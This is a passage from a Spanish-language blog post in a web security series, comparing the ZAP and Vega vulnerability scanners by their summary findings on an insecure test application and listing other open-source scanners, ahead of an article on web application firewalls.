https://substackcdn.com/image/fetch/$s_!xNvl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Como podemos observar, se encontraron 15 distintos tipos de vulnerabilidades que, a su vez, se encuentran presentes en m&#225;s de un lugar de la aplicaci&#243;n. Por ejemplo, para nombrar las vulnerabilidades m&#225;s cr&#237;ticas:</p><ul><li><p>40 Cross Site Scripting (XSS)</p></li><li><p>Un External Redirect</p></li><li><p>16 Path Traversal</p></li><li><p>Un Remote File Inclusion</p></li><li><p>Un Remote OS Command Injection</p></li><li><p>Dos SQL Injection (MySQL)</p></li><li><p>Cinco SQL Injection (Gen&#233;ricos)</p></li></ul><p>Evidentemente, una aplicaci&#243;n muy insegura. Cabe aclarar que la herramienta muestra much&#237;sima m&#225;s informaci&#243;n sobre cada vulnerabilidad, aqu&#237; simplemente vemos el reporte general.</p><h2>Vega</h2><p>Vega, de Subgraph (<a href="http://www.subgraph.com">www.subgraph.com</a>) tambi&#233;n est&#225; desarrollada en Java y cuenta con una interfaz gr&#225;fica muy intuitiva. Aunque no es tan personalizable como ZAP, es una excelente herramienta para correr un escaneo de vulnerabilidades web. Basta con escribir la URL de la aplicaci&#243;n a auditar, seleccionar los plugins de auditor&#237;a que queremos habilitar y, despu&#233;s de unos minutos, obtendremos un reporte como el siguiente:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5wA5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5wA5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 424w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 848w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 1272w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5wA5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png" width="515" height="550" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cd66ff69-7350-4d04-b874-84ce60022021_515x550.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:550,&quot;width&quot;:515,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;vega-sin-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="vega-sin-waf" title="vega-sin-waf" srcset="https://substackcdn.com/image/fetch/$s_!5wA5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 424w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 848w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 1272w, https://substackcdn.com/image/fetch/$s_!5wA5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd66ff69-7350-4d04-b874-84ce60022021_515x550.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>En este caso tambi&#233;n se han encontrado varias vulnerabilidades diferentes. Las catalogadas como "graves" son:</p><ul><li><p>Seis Cross Site Scripting (XSS)</p></li><li><p>Un Local File Include</p></li><li><p>Un "posible" SQL Injection</p></li><li><p>Un SQL Injection comprobado</p></li><li><p>Nueve posibles Local File Inclusion</p></li></ul><p>Cabe aclarar que la herramienta muestra much&#237;sima m&#225;s informaci&#243;n sobre cada vulnerabilidad, aqu&#237; simplemente vemos el reporte general.</p><h2>Comparativa y Aclaraciones</h2><p>Si bien, a primera impresi&#243;n, en Vega fueron detectadas menos vulnerabillidades, ambas herramientas muestran mucha informaci&#243;n de inter&#233;s, y es muy importante mencionar que, algunas herramientas, cuentan la cantidad de vulnerabilidades de diferentes maneras, por ejemplo, eliminando las vulnerabilidades "duplicadas" que se encuentran en varias URLs de la aplicaci&#243;n, listandolas como vulnerabilidades &#250;nicas con presencia en diferentes URLs.</p><p>Debido a esto, no podemos limitarnos a decir que una herramienta es mejor que otra simplemente observando la cantidad de vulnerabilidades encontradas. Como son dos herramientas de muy f&#225;cil utilizaci&#243;n, yo prefiero ejecutar ambas y comparar resultados, porque es muy probable que cada una de ellas encuentre vulnerabilidades que la otra aplicaci&#243;n no ha podido encontrar.</p><p>Por otra parte, son herramientas que terminan su ejecuci&#243;n muy r&#225;pido, generalmente, menos de diez minutos cada una, por lo que no hay problema en correr una y despu&#233;s la otra.</p><p><strong>NOTA:</strong> Recomiendo no correr las pruebas en paralelo (es decir, no ejecutar las dos herramientas el mismo tiempo), eso va a darnos una mejor certeza en los reportes.</p><h2>Otras Herramientas de Inter&#233;s</h2><p>Existen otras herramientas de c&#243;digo abierto que he dejado de lado en este art&#237;culo, principalmente por alguna/s de la siguientes razones:</p><ol><li><p>No siento que tengan una utilizaci&#243;n tan sencilla</p></li><li><p>Los reportes pueden tardar bastante m&#225;s en generarse</p></li><li><p>Tienden a generar m&#225;s falsos positivos / negativos</p></li><li><p>No parecen estar tan bien "terminadas"</p></li></ol><p>De todos modos, nunca est&#225; de m&#225;s realizar la prueba, y ver cu&#225;l es la herramienta que m&#225;s nos satisface. Algunas de estas herramientas son:</p><p><strong>Arachni:</strong> </p><p>http://www.arachni-scanner.com</p><p><strong>w3Af:</strong> </p><p>http://w3af.org</p><p><strong>Nikto:</strong> <a href="https://www.cirt.net/Nikto2">https://www.cirt.net/Nikto2</a></p><p><strong>Wapiti:</strong> </p><p>http://wapiti.sourceforge.net</p><h2>En la pr&#243;xima parte</h2><p>En la pr&#243;xima parte de esa serie de art&#237;culos analizaremos la tecnolog&#237;a Web Application Firewall, su facilidad de implementaci&#243;n y sus beneficios.</p>]]></content:encoded></item></channel></rss>